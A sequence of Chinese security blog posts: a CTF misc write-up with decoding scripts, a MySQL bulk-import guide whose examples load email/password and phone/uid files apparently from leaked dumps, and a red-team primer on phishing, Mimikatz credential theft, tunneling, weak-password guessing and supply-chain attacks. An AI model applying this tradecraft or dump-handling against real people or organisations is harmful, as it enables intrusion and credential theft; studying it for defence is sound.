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' img_data = base64.b64decode(img_str) with open('1.png', 'wb') as f: f.write(img_data) print 'successful'最终得到flag:flag{ICS-mms104} 1.下载附件得到一个文件,打开是一些ZERO ONE组成的文件https://adworld.xctf.org.cn/media/task/attachments/cca1ce4b15ba4ac7950f6d03f8fa6ad12.将ZERO替换为0,ONE替换为10100110001101001001100000110011101001100011010010011000001110101010011000110100101000001011101010100100101000011001100000111010101001100011010010011000001100111010011000101001100110100011101000100110001101001010000010111010001001001010000110011010001110101010011000101001100110100011001110100110001010011010000010111010101001100011010010011010001110101010010010100001100110100011101000100110001010011001100000111010001001001010000110011010001110101010011000110100100110100011101010100100101000011001100000111010001001100010100110100000101110101010011000101001100110000011101000100110001010011010000010111010101001100011010010011010001100111010011000101001100110000011101000100100101000011001101000111010101001100011010010011010001110101010010010100001100110100011101010100110001010011010000010111010101001100010100110011000001110101010010010100001100110100011101010100110001101001001100000111010001001001010000110011010001110100010011000110100101000001011101000100110001010011001100000110011101001100011010010011010001110101010011000110100100110100011001110100110001101001010000010111010001001100011010010011000001110101010010010100001100110100011101000100110001101001010000010111010101001100011010010011010001110100010011000101001101000001011101000100100101000011001100000111010001001100010100110100000101110100010010010100001100110000011101010100110001101001001100000110011101001100010100010011110100111101 3.将二进制转换成asci编码http://www.txttool.com/wenben_binarystr.asp 得到字符:Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==是base64编码,解码得: https://base64.us/得到解密后的摩尔斯:.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -进行Morse Code解码得:得到:ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT也可以通过脚本得到:import base64 #import morse_talk as mtalk with open('flag', 'r') as f: data = f.read() data = data.replace("ZERO","0").replace("ONE","1").replace(' ','').replace('\n','') word='' for i in range(0, len(data), 8): word+=(chr(int(data[i:i+8], 2))) word=base64.b64decode(word).decode(encoding='UTF-8') s = word.split(" ") print(s) dict = {'.-': 'A', '-...': 'B', '-.-.': 'C', '-..':'D', '.':'E', '..-.':'F', '--.': 'G', '....': 'H', '..': 'I', '.---':'J', '-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T', '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y', '--..': 'Z', '.----': '1', '..---': '2', '...--': '3', '....-': '4', '.....': '5', '-....': '6', '--...': '7', '---..': '8', '----.': '9', '-----': '0', '..--..': '?', '-..-.': '/', '-.--.-': '()', '-....-': '-', '.-.-.-': '.' } for item in s: print (dict[item],end='')加上花括号,将o替换为_ 即可得:通过测试,全是大写,才正确 ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}
  7. 一、导入mysql数据前期设置 1.建库和表统一编码设置为UTF8,根据数据中的编码来修改(也可以将数据全部转换为utf-8格式,小文件可用notepad来修改编码,大文件可用 LogViewPro 来修改编码) 2.对MySql数据库进行优化配置 my.ini优化配置: [mysql] default-character-set=utf8 [mysqld] port=3306 basedir=F:/phpstudy_pro/Extensions/MySQL5.7.26/ datadir=F:/phpstudy_pro/Extensions/MySQL5.7.26/data/ character-set-server=utf8 #默认的数据库编码 default-storage-engine=MyIsam #数据库引擎,myisam适合于查询 max_connections=1000 #客户端和服务器最大连接数,默认为1000 collation-server=utf8_unicode_ci init_connect='SET NAMES utf8' innodb_buffer_pool_size=4096M #一般设置 buffer pool 大小为总内存的 3/4 至 4/5 innodb_flush_log_at_trx_commit=2 #当设置为2,该模式速度较快,也比0安全,只有在操作系统崩溃或者系统断电的情况下,上一秒钟所有事务数据才可能丢失。 innodb_lock_wait_timeout=120 #默认参数:innodb_lock_wait_timeout设置锁等待的时间是120s,一旦数据库锁超过这个时间就会报错。 innodb_log_buffer_size=16M #建议取值16M-64MB,自己内存为8G innodb_log_file_size=256M #一般取256M可以兼顾性能和recovery的速度,不可取大也不可取小 interactive_timeout=120 #服务器关闭交互式连接前等待活动的秒数 join_buffer_size=16M #联合查询操作所能使用的缓冲区大小,如果有100个线程连接,则占用为16M*100 key_buffer_size=512M #索引缓冲区,一般情况下对于内存在 4GB 左右的服务器该参数可设置为256M 或384M log_error_verbosity=2 #错误日志记录内容 max_allowed_packet=128M #限制Server接受的数据包大小,默认是128M max_heap_table_size=64M #设置默认值 myisam_max_sort_file_size=64G ## mysql重建索引时允许使用的临时文件最大大小,默认值即可 myisam_sort_buffer_size=150M #MyISAM表发生变化时重新排序所需的缓冲 read_buffer_size=512kb #缓存连续扫描的块,这个缓存是跨存储引擎的,不只是MyISAM表,8G内存,建议是512KB read_rnd_buffer_size=4M #MySql的随机读缓冲区大小建议末日使者 server_id=1 skip-external-locking=on #跳过外部锁定 sort_buffer_size=256kb #排序缓冲 table_open_cache=3000 thread_cache_size=16 tmp_table_size=64M wait_timeout=120 secure-file-priv='' #可在任意目录下导入 log-error="F:/phpstudy_pro/Extensions/MySQL5.7.26/data" [client] port=3306 default-character-set=utf8 二、各种数据导入mysql方法 导入的数据类型有:.sql数据,txt文本数据,cvs(xls)数据,以及access和mssql数据格式的数据 1.txt文本格式数据导入 (1).txt体积不超过400M,超过的一律进行将其分割等分 (2)、合并txt文件,针对多个小文件的txt 合并txt文件的命令: type *.txt > all.txt(windows) cat * > 1.txt(linux) (3)、txt文件(使用tab间隔分割,回车换行)命令快速导入方式: mysql -u root -p use test; load data infile 'J:/data/weibo/weibo/weibo_1.txt' into table weibo_info1 FIELDS TERMINATED BY '\t' lines terminated by '\r\n' (tel,uid); 注意:这里导入的txt文件路径为相对物理路径,\t表示字段之间的分割符号为tab(空格),\r\n表示在windows系统下的数据的每行的换行符号 (4)、txt文件(使用----间隔分割,回车换行)命令快速导入方式: load data infile 'E:/test.txt' into table test FIELDS TERMINATED BY '----' lines terminated by '\r\n' (tel,qq); (5)、txt文件(使用,字符间隔分割,回车换行)命令快速导入方式: load data infile 'E:/test.txt' into table test FIELDS TERMINATED BY ',' lines terminated by '\r\n' (tel,qq); (6)、txt文本字段中含有双引号字符的字段,会导致意外终止,这里使用enclosed by命令来去掉双引号 load data infile 'E:/test.txt' into table test FIELDS TERMINATED BY ',' enclosed by '"' lines terminated by '\r\n' (tel,qq); (7)load data infile导入参数说明 fields terminated by ',' #表示字段数据之间用逗号分隔。 fields terminated by '\n' #表示每行数据之间的分隔符为换行符号(linux) lines terminated by '\r\n' #表示每行数据之间的分隔符为换行符号(windows) escaped by '' #表示对字段值中含有转义字符的\进行删除 enclosed by '"' #表示去掉字段值中的双引号 (tel,qq) #表对应的字段名称,这个需要和test.txt文件里面的数据字段名称对应 (8)、小txt文件(非tab的规律间隔符),可以使用操作简单的Navicat导入数据 需要注意分割符合以及目标栏目中的数据对应导入的数据字段 (9)导入多个txt文件到mysql 想要批量导入txt文件,可以将通过批处理文件执行多条导入语句完成。 制作sql语句文件,可采用多种编程语言获取要导入的txt文件名称制成sql命令。 这里采用python完成,建立python文件create_sql.py,示例代码:(下面数据格式为----为间隔的数据) import glob writeFile = open('C:/Users/backlion/Desktop/data/user_sql.txt','w') writeFile.write('use test;\n') for filename in glob.glob(r'C:/Users/backlion/Desktop/data/*.txt'): writeFile.write('load data local infile '+'"'+filename.replace('\\','/')+'"'+' into table user fields terminated by' + '"' + '----' + '"' + ' lines terminated by' + '"' + r'\r\n' + '"' + ';\n') writeFile.close() 这样就将data文件夹下的所有要导入的txt文件名称制作成sql语句放在user_sql.txt中,内容大致如下: 创建数据库为test,表名为user,字段名称为email和password。 制作.bat批处理文件执行(1)生成的sql命令文件 D:\phpStudy\PHPTutorial\MySQL\bin\mysql.exe --local-infile -u root –proot < C:/Users/backlion/Desktop/data/user_sql.txt pause 2、csv文件导入到mysql (1).单个cvs导入mysql,快速命令 mysql -u root -p use test; load data local infile "C:/Users/backlion/Desktop/data/use1.csv" into table user fields terminated by"," lines terminated by"\r\n" (email,password); (2)、多个cvs批量导入到mysql 想要批量导入txt文件,可以将通过批处理文件执行多条导入语句完成。 csv文件以','逗号作为分割符,需要用双引号或者单引号括起来. 制作sql语句文件,可采用多种编程语言获取要导入的txt文件名称制成sql命令。 这里采用python完成,建立python文件create_sql.py,示例代码:(下面数据格式csv文件) import glob writeFile = open('C:/Users/backlion/Desktop/data/user_sql.txt','w') writeFile.write('use test;\n') for filename in glob.glob(r'C:/Users/backlion/Desktop/data/*.csv'): writeFile.write('load data local infile '+'"'+filename.replace('\\','/')+'"'+' into table user fields terminated by' + '"' + ',' + '"' + ' lines terminated by' + '"' + r'\r\n' + '"' + ';\n') writeFile.close() 这样就将data文件夹下的所有要导入的txt文件名称制作成sql语句放在user_sql.txt中,内容大致如下: 创建数据库为test,表名为user,字段名称为email和password 制作.bat批处理文件执行(1)生成的sql命令文件 D:\phpStudy\PHPTutorial\MySQL\bin\mysql.exe --local-infile -u root –proot < C:/Users/backlion/Desktop/data/user_sql.txt pause (3)多个csv文件合并 copy *.CSV all.csv (3)、通过navicat导入cvs格式文件 2.sql格式导入mysql (1)、单个sql格式的文件导入,不用考虑编码问题,入库后直接使用navicat编辑数据库属性转UTF8编码即可,然后再创建索引 使用命令: mysql -u root -p use test; source D:\test.sql; (2)、批量导入多个sql文件新建一个all.sql:vim all.sql 在里面写入: source 1.sql source 2.sql ...... source 53.sql source 54.sql 然后执行: mysql> source all.sql (3)、多个sql文件合并 copy *.sql all.sql (4)、通过navicat导入sql格式文件 三、导入技巧 1.统计MYSQL数据重复数量 mysql>select email, count(email) as count from user group by email having mysql>count(email) > 1; 或者 SELECT * FROM user WHERE email IN (SELECT email FROM user GROUP BY email HAVING COUNT(email ) > 1); 2、数据去重 mysql> CREATE TABLE tmp SELECT email,password FROM user GROUP BY email,password ; 或者 mysql> CREATE TABLE tmp SELECT email FROM user GROUP BY email; mysql> DROP TABLE user; mysql> ALTER TABLE tmp RENAME TO user; 或者 1)选择已选择的字段或者主键值重复项中的记录 create table new as (select email,password from user group by email,password having count(*)>1); 2)创建索引(仅需在第一次时执行) create index email on new(email) ; 3)删除重复项中字段或者主键值的记录 delete from user where email in (select email from new); 4)删除临时表 drop table new; 3、添加索引,并查询优化 给常用查询字段添加索引,模糊类用BTREE存储类型,精确类用HASH存储类型。推荐使用Navicat 选择表打开表讯息,选择DDL选项卡,可以清楚看到该表的sql,有无索引一目了然,然后右击数据库名选择它的console功能,来快速添加索引。 4、导入特殊字符如表情或者每字符四个字节支持补充字符,可将数据库和表的字符集设为utf8mb4 5、xls和cvs等excle格式的文件,建议直接使用navicat编辑数据库属性转UTF8编码即可,然后再创建索引 6、先通过navicat创建数据库和表和字段等数据库结构后,然后创建索引,最后导入数据(这个是针对数据量很大的数据,如果先导入很大的数据,最后再来创建索引,会直接卡死,并且卡很久) 7.mssql导入到mysql数据库中,通过navicat的导入功能中的mssql数据库源导入
  8. 第一章 什么是蓝队 蓝队,一般是指网络实战攻防演习中的攻击一方。 蓝队一般会采用针对目标单位的从业人员,以及目标系统所在网络内的软件、硬件设备同时执行多角度、全方位、对抗性的混合式模拟攻击手段;通过技术手段实现系统提权、控制业务、获取数据等渗透目标,来发现系统、技术、人员、管理和基础架构等方面存在的网络安全隐患或薄弱环节。 蓝队人员并不是一般意义上的电脑黑客。因为黑客往往以攻破系统,获取利益为目标;而蓝队则是以发现系统薄弱环节,提升系统安全性为目标。此外,对于一般的黑客来说,只要发现某一种攻击方法可以有效地达成目标,通常就没有必要再去尝试其他的攻击方法和途径;但蓝队的目标则是要尽可能地找出系统中存在的所有安全问题,因此往往会穷尽已知的“所有”方法来完成攻击。换句话说,蓝队人员需要的是全面的攻防能力,而不仅仅是一两招很牛的黑客技术。 蓝队的工作也与业界熟知的渗透测试有所区别。渗透测试通常是按照规范技术流程对目标系统进行的安全性测试;而蓝队攻击一般只限定攻击范围和攻击时段,对具体的攻击方法则没有太多限制。渗透测试过程一般只要验证漏洞的存在即可,而蓝队攻击则要求实际获取系统权限或系统数据。此外,渗透测试一般都会明确要求禁止使用社工手段(通过对人的诱导、欺骗等方法完成攻击),而蓝队则可以在一定范围内使用社工手段。 还有一点必须说明:虽然实战攻防演习过程中通常不会严格限定蓝队的攻击手法,但所有技术的使用,目标的达成,也必须严格遵守国家相关的法律和法规。 在演习实践中,蓝队通常会以3人为一个战斗小组,1人为组长。组长通常是蓝队中综合能力最强的人,需要较强的组织意识、应变能力和丰富的实战经验。而2名组员则往往需要各有所长,具备边界突破、横向移动(利用一台受控设备攻击其他相邻设备)、情报收集或武器研制等某一方面或几个方面的专长。 蓝队工作对其成员的能力要求往往是综合性的、全面性的。蓝队成员不仅要会熟练使用各种黑客工具、分析工具,还要熟知目标系统及其安全配置,并具备一定的代码开发能力,以便应对特殊问题。 第二章 蓝队演变趋势 “魔高一尺道高一丈”!防守能力提升的同时,攻击能力也在与时俱进。目前,蓝队的工作已经变得非常体系化、职业化和工具化,主要变现如下。 1) 体系化 从漏洞准备、工具准备,到情报收集、内网渗透等,每个人都有明确的分工,有组织地形成团队作战能力,已经很少有一个人干全套的情况了。 2) 职业化 蓝队人员都来自各组织专职实战演习团队,有明确分工和职责,具备协同配合的职业操守,平时开展专业化训练。 3) 工具化 工具化程序持续提升,除了使用常用渗透工具,基于开源代码的定制化工具应用增多,自动化攻击被大规模应用,如采用多IP出口的自动化攻击平台进行作业。 从实战对抗的手法来看,现如今的蓝队还呈现出社工化、强对抗和迂回攻击的特点。 1) 社工化 利用“人”的弱点实施社会工程学攻击,是黑产团伙和高级威胁组织的常用手段,如今也被大量引入实战攻防演习当中。 除了钓鱼、水坑等传统社工攻击手段外,如今的蓝队还会经常通过在线客服、私信好友等多种交互平台进行社工攻击,以便更加高效地获取业务信息。社工手段的多变性往往会让防守方防不胜防。 2) 强对抗 利用0Day漏洞、NDay漏洞、免杀技术等方式与防守方进行高强度的技术对抗,也是近1-2年来蓝队在实战攻防演习中表现出的明显特点。特别的,蓝队人员大多出自安全机构,经过专业训练,因此往往会比民间黑客更加了解安全软件的防护机制和安全系统的运行原理,其使用的对抗技术也往往更具针对性。 3) 迂回攻击 对于防护严密,有效监控的目标系统来说,正面攻击往往难以奏效。这就迫使蓝队越来越多的采用“曲线救国”的攻击方式,将战线拉长:从目标系统的同级单位和下级单位入手,从供应链及业务合作方下手,在防护相对薄弱的关联机构中寻找突破点,通过迂回攻击的方式攻破目标系统。 第三章 蓝队四板斧——攻击的四个阶段 蓝队的攻击并非是天马行空的撞大运,而是一个有章可循、科学合理的作战过程。一般来说,蓝队的工作可分为四个阶段:站前准备、情报收集、建立据点和横向移动。我们也常将这个四个阶段称为蓝队工作的“四板斧”。 一、 第一阶段:准备收集 在一场实战攻防演习作战开始前,蓝队人员主要会从以下几个方面进行准备。 1) 漏洞挖掘 漏洞一直是第一攻击力。前期的漏洞挖掘对于打开突破口显得非常重要,在实战中,漏洞挖掘工作一般会聚焦于互联网边界应用、网络设备、办公应用、运维系统、移动办公、集权管控等方面。此外,只是找到漏洞还不够,好的漏洞利用方式也是十分重要的。想要在不通环境下达到稳定、深度的漏洞利用,这对漏洞挖掘人员来说是一个不小的挑战。 2) 工具储备 工具的目的是为了提升工作效率,好的工具往往能事半功倍,在实战中,蓝队通常需要准备信息收集、钓鱼、远控、WebShell管理、隧道、扫描器、漏洞利用等多种工具。 3) 战法策略 团队作战考虑的是配合,因此,攻击队成员的分工角色就显得尤为重要,小的战役靠个人,大的战役一定是靠机制、流程以及团队合作。好的战法策略,对于一场大的战役来讲至关重要。 4) 以赛代练 日常的任务中,需要挑选出一些具有代表性的任务来对蓝队进行有针对性的训练,有利于蓝队队员提高自身的技能。参加各类安全大赛将非常有助于蓝队队员的技术能力提升。 二、 第二阶段:情报收集 当蓝队专家接到目标任务后,并不会像渗透测试那样在简单收集数据后直接去尝试各种常见漏洞,而是先去做情报侦察和信息收集工作。收集的内容包括目标系统的组织架构、IT资产、敏感信息泄露、供应商信息等各个方面。 组织架构包括单位部门划分、人员信息、工作职能、下属单位等;IT资产包括域名、IP地址、C段、开放端口、运行服务、Web中间件、Web应用、移动应用、网络架构等;敏感信息泄露包括代码泄露、文档信息泄露、邮箱信息泄露、历史漏洞泄露信息等方面;供应商信息包括相关合同、系统、软件、硬件、代码、服务、人员等相关信息。 掌握了目标企业相关人员信息和组织架构,可以快速定位关键人物以便实施鱼叉攻击,或确定内网横纵向渗透路径;而收集了IT资产信息,可以为漏洞发现和利用提供数据支撑;掌握企业与供应商合作相关信息,可为有针对性开展供应链攻击提供素材。而究竟是要社工钓鱼,还是直接利用漏洞攻击,抑或是从供应链下手,一般取决于安全防护的薄弱环节究竟在哪里,以及蓝队对攻击路径的选择。 三、 第三阶段:建立据点 在找到薄弱环节后,蓝队专家会尝试利用漏洞或社工等方法去获取外网系统控制权限,一般称之为“打点”或撕口子。在这个过程中,蓝队专家会尝试绕过WAF、IPS、杀毒软件等防护设备或软件,用最少的流量、最小的动作去实现漏洞利用。 通过撕开的口子,寻找和内网联通的通道,再进一步进行深入渗透,这个由外到内的过程一般称之为纵向渗透。如果没有找到内外联通的DMZ区(Demilitarized Zone,隔离区),蓝队专家会继续撕口子,直到找到接入内网的点为止。 当蓝队专家找到合适的口子后,便可以把这个点作为从外网进入内网的根据地。通过frp、ewsocks、reGeorg等工具在这个点上建立隧道,形成从外网到内网的跳板,将它作为实施内网渗透的坚实据点。 若权限不足以建立跳板,蓝队专家通常会利用系统、程序或服务漏洞进行提权操作,以获得更高权限;若据点是非稳定的PC机,则会进行持久化操作,保证PC机重启后,据点依然可以在线。 四、 第四阶段:横向移动 进入内网后,蓝队专家一般会在本机以及内部网络开展进一步信息收集和情报刺探工作。包括收集当前计算机的网络连接、进程列表、命令执行历史记录、数据库信息、当前用户信息、管理员登录信息、总结密码规律、补丁更新频率等信息;同时对内网的其他计算机或服务器的IP、主机名、开放端口、开放服务、开放应用等情况进行情报刺探。再利用内网计算机、服务器不及时修复漏洞、不做安全防护、同口令等弱点来进行横向渗透扩大战果。 对于含有域的内网,蓝队专家会在扩大战果的同时去寻找域管理员登录的蛛丝马迹。一旦发现某台服务器有域管理员登录,就可以利用Mimikatz等工具去尝试获得登录账号密码明文,或者用Hashdump工具去导出NTLM哈希,继而实现对域控服务器的渗透控制。 在内网漫游过程中,蓝队专家会重点关注邮件服务器权限、OA系统权限、版本控制服务器权限、集中运维管理平台权限、统一认证系统权限、域控权限等位置,尝试突破核心系统权限、控制核心业务、获取核心数据,最终完成目标突破工作。 第四章 蓝队也套路——常用的攻击战术 在蓝队的实战过程中,蓝队专家们逐渐摸出了一些套路、总结了一些经验:有后台或登录入口的,会尽量尝试通过弱口令等方式进入系统;找不到系统漏洞时,会尝试社工钓鱼,从人开展突破;有安全防护设备的,会尽量少用或不用扫描器,使用EXP力求一击即中;针对防守严密的系统,会尝试从子公司或供应链来开展工作;建立据点过程中,会用多种手段多点潜伏,防患于未然。 下面介绍九种蓝队最常用的攻击战术。 一、 利用弱口令获得权限 弱密码、默认密码、通用密码和已泄露密码通常是蓝队专家们关注的重点。实际工作中,通过弱口令获得权限的情况占据90%以上。 很多企业员工用类似zhangsan、zhangsan001、zhangsan123、zhangsan888这种账号拼音或其简单变形,或者123456、888888、生日、身份证后6位、手机号后6位等做密码。导致通过信息收集后,生成简单的密码字典进行枚举即可攻陷邮箱、OA等账号。 还有很多员工喜欢在多个不同网站上设置同一套密码,其密码早已经被泄露并录入到了黑产交易的社工库中;或者针对未启用SSO验证的内网业务系统,均习惯使用同一套账户密码。这导致从某一途径获取了其账户密码后,通过凭证复用的方式可以轻而易举地登录到此员工所使用的其他业务系统中,为打开新的攻击面提供了便捷。 很多通用系统在安装后会设置默认管理密码,然而有些管理员从来没有修改过密码,如admin/admin、test/123456、admin/admin888等密码广泛存在于内外网系统后台,一旦进入后台系统,便有很大可能性获得服务器控制权限;同样,有很多管理员为了管理方便,用同一套密码管理不同服务器。当一台服务器被攻陷并窃取到密码后,进而可以扩展至多台服务器甚至造成域控制器沦陷的风险。 二、 利用互联网边界渗透内网 大部分企业都会有开放于互联网边界的设备或系统,如:VPN系统、虚拟化桌面系统、邮件服务系统、官方网站等。正是由于这些设备或系统可以从互联网一侧直接访问,因此也往往会成为蓝队首先尝试的,突破边界的切入点。 此类设备或系统通常都会访问内网的重要业务,为了避免影响到员工使用,很多企业都没有在其传输通道上增加更多的防护手段;再加上此类系统多会集成统一登录,一旦获得了某个员工的账号密码,就可以通过这些系统突破边界直接进入内网中来。 譬如,开放在内网边界的邮件服务如果缺乏审计,也未采用多因子认证;员工平时又经常通过邮件传送大量内网的敏感信息。如服务器账户密码、重点人员通讯录等。那么,当掌握相关员工的邮箱账号密码后,在邮件中所获得的信息,会被蓝队下一步工作提供很多方便。 三、 利用通用产品组件漏洞 信息化的应用提高了工作效率,但其存在的安全漏洞也是蓝队人员喜欢的。历年实战攻防演习中,经常被利用的通用产品漏洞包括:邮件系统漏洞、OA系统漏洞、中间件软件漏洞、数据库漏洞等。这些漏洞被利用后,可以使攻击方快速获取大量账户权限,进而控制目标系统。而作为防守方,漏洞往往很难被发现,相关活动常常被当作正常业务访问而被忽略。 四、 利用安全产品0Day漏洞 安全产品自身也无法避免0Day攻击!安全产品也是一行行代码构成,也是包含了操作系统、数据库、各类组件等组合而成的产品。历年攻防实战演习中,被发现和利用的各类安全产品的0Day漏洞,主要涉及安全网关、身份与访问管理、安全管理、终端安全等类型安全产品。这些安全产品的漏洞一旦被利用,可以使攻击者突破网络边界,获取控制权限进入网络;获取用户账户信息,并快速拿下相关设备和网络的控制权限。 安全产品的0Day漏洞常常是蓝队最好的攻击利器。 五、 利用人心弱点社工钓鱼 利用人的安全意识不足或安全能力不足,实施社会工程学攻击,通过钓鱼邮件或社交平台进行诱骗,是蓝队专家经常使用的社工手段。在很多情况下,“搞人”要比“搞系统”容易得多。 钓鱼邮件是最经常被使用的攻击手段之一。蓝队专家常常会首先通过社工钓鱼或漏洞利用等手段盗取某些安全意识不足的员工邮箱账号;再通过盗取的邮箱,向该单位的其他员工或系统管理员发送钓鱼邮件,骗取账号密码或投放木马程序。由于钓鱼邮件来自内部邮箱,“可信度”极高,所以,即便是安全意识较强的IT人员或管理员,也很容易被诱骗点开邮件中的钓鱼链接或木马附件,进而导致关键终端被控,甚至整个网络沦陷。 冒充客户进行虚假投诉,也是一种常用的社工手法,攻击方会通过单人或多人配合的方式,通过在线客服平台、社交软件平台等,向客户人员进行虚假的问题反馈或投诉,设局诱使或迫使客服人员接受经过精心设计的带毒文件或带毒压缩包。一旦客户人员的心理防线被突破,打开了带毒文件或压缩包,客服人员的电脑就会成为攻击队打入内网的一个“立足点”。 除了客服人员外,很多非技术类岗位的工作人员也很容易成为社工攻击的“外围目标”。例如,如给法务人员发律师函,给人力资源人员发简历,给销售人员发送采购需求等,都是比较常用的社工方法。而且往往“百试百灵”。 六、 利用供应链隐蔽攻击 供应链攻击是迂回攻击的典型方式。攻击方会从IT(设备及软件)服务商、安全服务商、办公及生产服务商等供应链入手,寻找软件、设备及系统漏洞,发现人员及管理薄弱点并实施攻击。常见的系统突破口包括:邮件系统、OA系统、安全设备、社交软件等;常见的突破方式包括软件漏洞,管理员弱口令等。 